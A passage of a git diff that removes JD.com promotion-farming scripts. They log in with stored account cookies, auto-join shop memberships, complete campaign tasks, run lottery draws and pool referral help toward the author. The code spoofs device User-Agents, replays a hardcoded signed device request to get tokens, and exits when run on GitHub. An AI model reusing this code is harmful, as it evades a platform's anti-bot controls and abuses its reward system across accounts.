if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = res.data.prize && res.data.prize.rewardType == 6 && res.data.prize.rewardName || '' - console.log(`抽奖获得:${msg || '空气💨'}`) - if(!msg) console.log(data) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`抽奖 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function helpFriend() { - return new Promise(resolve => { - let body = `shareUuid=${$.shareUuid}&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.shareUuid}` - $.post(taskPostUrl(`/dingzhi/union/kxj/helpFriend?_=${Date.now()}`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(res.data.helpFriendMsg) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`助力-${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getproduct() { - return new Promise(resolve => { - let body = `type=4&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.shareUuid}` - $.post(taskPostUrl(`/dingzhi/union/kxj/getproduct?_=${Date.now()}`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - $.getproduct = res.data - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${title} ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function saveTask(title, taskId) { - return new Promise(resolve => { - let body = `taskId=${taskId}&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.shareUuid}` - $.post(taskPostUrl(`/dingzhi/union/kxj/doTask?_=${Date.now()}`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.beanNum){ - msg = ` ${res.data.beanNum}京豆` - } - if(res.data.score){ - msg += ` ${res.data.score}积分` - } - if(res.data.gameChance){ - msg += ` ${res.data.gameChance}次游戏机会` - } - if(res.data.codeNum){ - msg += ` ${res.data.codeNum}个夺宝码` - } - console.log(`${title}获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${title} ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl(`/dingzhi/union/kxj/myInfo?_=${Date.now()}`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res === 'object'){ - let flag = false - $.totalScore = 0 - $.useScore = 0 - $.leftchance = res.data.leftchance - for(let i of res.data.bagList){ - flag = false - if(i.totalNum <= i.useNum){ - flag = true - } - switch (i.bagId) { - case 'score': - $.totalScore = i.totalNum - $.useScore = i.totalNum-i.useNum - break; - case 'vipDraw1': - $.vipDraw1 = flag - break; - case 'vipDraw2': - $.vipDraw2 = flag - break; - } - } - flag = false - for(let i of res.data.task){ - flag = false - if(i.maxNeed <= i.curNum){ - flag = true - } - switch (i.taskid) { - case 'add2cart': - $.add2cart = flag - break; - case 'followshop': - $.followshop = flag - $.openCard = $.toObj(i.params,i.params) - break; - case 'joinvip1': - $.joinvip1 = flag - break; - case 'joinvip1': - $.joinvip1 = flag - break; - case 'joinvip2': - $.joinvip2 = flag - break; - case 'scansku': - $.scansku = flag - break; - case 'signin': - $.signin = flag - break; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getActorUuid() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/union/kxj/activityContent',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object' && res.result && res.result === true){ - if(typeof res.data.uid != 'undefined') $.actorUuid = res.data.uid - if(typeof res.data.openCardList != 'undefined') $.openCardList = res.data.openCardList - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function accessLogWithAD() { - return new Promise(resolve => { - let pageurl = `https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - let body = `venderId=${$.shopId || $.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` - $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` - $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('lz_jdpin_token=') > -1) lz_jdpin_token = name.replace(/ /g, '') + ';' - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - // console.log(data) - let res = $.toObj(data) - if(typeof res == 'object' && res.result && res.result === true){ - if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin - if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getMyPing ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}` - $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_1316_53522&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167774&client=apple&clientVersion=10.1.0&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=63&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=75df8a672190341ca31fff9c0a841bb3&st=1630651158242&sv=102&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJw%2B3mGtYmx2hyp52UMhls9w5E1lP/cnCogTc/4/jyJkNxBj9qsqu3exORLVrut59gKtKPsdPpDLYHnhQVw%2B9yvPdRa/FTunLhcXz5qedappUDUmn0Fm3TxnjPSrQmcUpa7INaGp3VFQ2PoU8O7iI6/2mD/b/NXwyN3MJVTVshLoa8InxZKbMmeg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'Content-Type':'application/x-www-form-urlencoded', - 'Cookie': cookie, - 'Host':'api.m.jd.com', - 'User-Agent': `JD4iPhone/167774 (iPhone; iOS 13.1.2; Scale/2.00)`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data) - if(typeof res == 'object' && res.errcode == 0){ - if(typeof res.token != 'undefined') $.Token = res.token - }else if(typeof res == 'object' && res.message){ - console.log(`isvObfuscator ${res.message || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getCk() { - return new Promise(resolve => { - let get = { - url:`https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - followRedirect:false, - headers: { - // "Cookie": cookie, - "User-Agent": $.UA, - } - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, body) { - return { - url: `https://lzdz-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${activityCookie}${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}${lz_jdpin_token}`, - "Origin": "https://lzdz-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard23.js b/backUp/gua_opencard23.js deleted file mode 100644 index 6697191..0000000 --- a/backUp/gua_opencard23.js +++ /dev/null @@ -1,820 +0,0 @@ -/* -9.6-9.17 福满中秋 [gua_opencard23.js] -新增开卡脚本 - -邀请一人20豆 (有可能没有豆 -开9张卡(1组) 抽奖可能获得50京豆/每组(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购没有豆只有游戏机会 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku23]为"true" -博饼 (有可能是空气💨 默认不博饼 如需博饼请设置环境变量[guaopencard_draw23]为"3" -100积分抽1次 -填写要博饼的次数 不足已自身次数为准 -guaopencard_draw23="3" -填非数字会全都抽奖 - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard23="true" -———————————————— -入口:[9.6-9.17 福满中秋 (https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=dz2109100000119501&shareUuid=814e2d8458c7402ba088c0efe0e4274d)] - -============Quantumultx=============== -[task_local] -#9.6-9.17 福满中秋 -24 10,20 6-17 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard23.js, tag=9.6-9.17 福满中秋, enabled=true - -================Loon============== -[Script] -cron "24 10,20 6-17 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard23.js, tag=9.6-9.17 福满中秋 - -===============Surge================= -9.6-9.17 福满中秋 = type=cron,cronexp="24 10,20 6-17 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard23.js - -============小火箭========= -9.6-9.17 福满中秋 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard23.js, cronexpr="24 10,20 6-17 9 *", timeout=3600, enable=true -*/ -const $ = new Env('9.6-9.17 福满中秋'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -// const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -let activityCookie = ''; -let lz_jdpin_token = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = "false" -guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku23 ? process.env.guaopencard_addSku23 : guaopencard_addSku) : ($.getdata('guaopencard_addSku23') ? $.getdata('guaopencard_addSku23') : guaopencard_addSku); -let guaopencard_draw = "0" -guaopencard_draw = $.isNode() ? (process.env.guaopencard_draw23 ? process.env.guaopencard_draw23 : guaopencard_draw) : ($.getdata('guaopencard_draw23') ? $.getdata('guaopencard_draw23') : guaopencard_draw); -let guaopencard = "false" -guaopencard = $.isNode() ? (process.env.guaopencard23 ? process.env.guaopencard23 : guaopencard) : ($.getdata('guaopencard23') ? $.getdata('guaopencard23') : guaopencard); -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if(guaopencard+"" != "true"){ - console.log('如需执行脚本请设置环境变量[guaopencard23]为"true"') - } - if(guaopencard+"" != "true"){ - return - } - } - $.shareUuid = 